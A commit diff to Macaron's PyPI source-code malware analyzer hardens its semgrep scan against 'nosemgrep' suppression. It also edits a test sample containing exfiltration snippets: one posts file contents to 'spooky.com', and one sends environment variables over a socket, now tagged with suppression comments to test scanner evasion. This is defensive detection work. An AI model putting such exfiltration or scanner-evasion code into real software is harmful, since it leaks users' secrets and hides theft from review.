fix: semgrep now only runs open-source functionality, and disabled the nosemgrep feature

Author: art1f1c3R

src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py

@@ -33,23 +33,29 @@
 class PyPISourcecodeAnalyzer(BaseHeuristicAnalyzer):
     """This class is used to analyze the source code of python PyPI packages. This analyzer is a work in progress.
 
-    This analyzer works in two phases. In the first phase, it will perform a pattern-based scan of all python files
-    in the source code, looking for suspicious patterns defined by the YAML file in defaults.ini. By default, this
-    will include suspicious package imports, suspicious hardcoded constants, and suspicious function calls. If this
-    scan does not find any suspicious activity, the analysis will stop and the package will be marked as benign
-    by this analyzer. If the scan does find suspicious activity, the analyzer will move on to the second phase.
-
-    In the second phase, the analyzer will perform dataflow analysis. This will track the flow of suspicious constants
-    and the results of suspicious function calls to where they are used, to determine if they are used in a malicious
-    manner. Suspicious activity includes data exfiltration, code execution, remote connections, operating system and
-    process manipulation, and encoded and obfuscated patterns. The types of activity, and their severity and quantity,
-    will then determine the probability of the package being malicious.
-
-    Currently, this analyzer only supports the first phase, and will return simply boolean results on the maliciousness
-    of the package.
+    Currently the analyzer performs textual pattern matching and dataflow analysis using the open-source features of
+    Semgrep. Semgrep open-source taint tracking can only perform in one locale, but this is a known limitation. Default
+    rules are stored in 'macaron/resources/pypi_malware_rules' as semgrep .yaml rule files. A user may add additional
+    rules stored in a specified directory passed by them in the 'defaults.ini' configuration file.
     """
 
     def __init__(self, resources_path: str | None = None) -> None:
+        """
+        Initialise the source code analyzer and load default and custom semgrep rulesets.
+
+        Parameters
+        ----------
+        resources_path: str | None
+            The path to the resources directory which must contain a 'pypi_malware_rules' directory of
+            semgrep rules. If None is provided, then this is loaded from the global config resources path.
+            Defaults to None
+
+        Raises
+        ------
+        ConfigurationError
+            If the default rule path is invalid, the heuristic.pypi entry is not present, or if the semgrep
+            validation of the custom rule path failed.
+        """
         super().__init__(
             name="anomalous_version_analyzer",
             heuristic=Heuristics.SUSPICIOUS_PATTERNS,
@@ -65,6 +71,12 @@ def _load_defaults(self, resources_path: str) -> tuple[str, str | None]:
 
         Semgrep validation is run on the custom rules provided by the user.
 
+        Parameters
+        ----------
+        resources_path: str
+            The path to the resources directory which must contain a 'pypi_malware_rules' directory of
+            semgrep rules.
+
         Returns
         -------
         tuple[str, str | None]
@@ -140,7 +152,8 @@ def analyze(self, pypi_package_json: PyPIPackageJsonAsset) -> tuple[HeuristicRes
             if there is no source code available.
         """
         analysis_result: defaultdict = defaultdict(list)
-        semgrep_commands: list[str] = ["semgrep", "scan"]
+        # only run semgrep open-source features, and disable 'nosemgrep' ignoring so this does not bypass our scan
+        semgrep_commands: list[str] = ["semgrep", "scan", "--oss-only", "--disable-nosem"]
         result: HeuristicResult = HeuristicResult.PASS
 
         source_code_path = pypi_package_json.package_sourcecode_path

tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote-exfiltration.py

@@ -41,10 +41,10 @@ def file_exfil_to_urllib3():
         http = man().request
         http('POST', "spooky.com", body=oo.read(file, 2048))
 
-    def environ_to_socket():
-        import socket as s
-        from os import environ as environment_vars
-        with s.socket(s.AF_INET, s.SOCK_STREAM) as soc:
-            soc.connect(('localhost', 0))
-            other = soc
-            other.send(environment_vars)
+    def environ_to_socket(): # nosemgrep
+        import socket as s # nosemsemgrep
+        from os import environ as environment_vars # nosemgrep
+        with s.socket(s.AF_INET, s.SOCK_STREAM) as soc: # nosemgrep
+            soc.connect(('localhost', 0)) # nosemgrep
+            other = soc # nosemgrep
+            other.send(environment_vars) # nosemgrep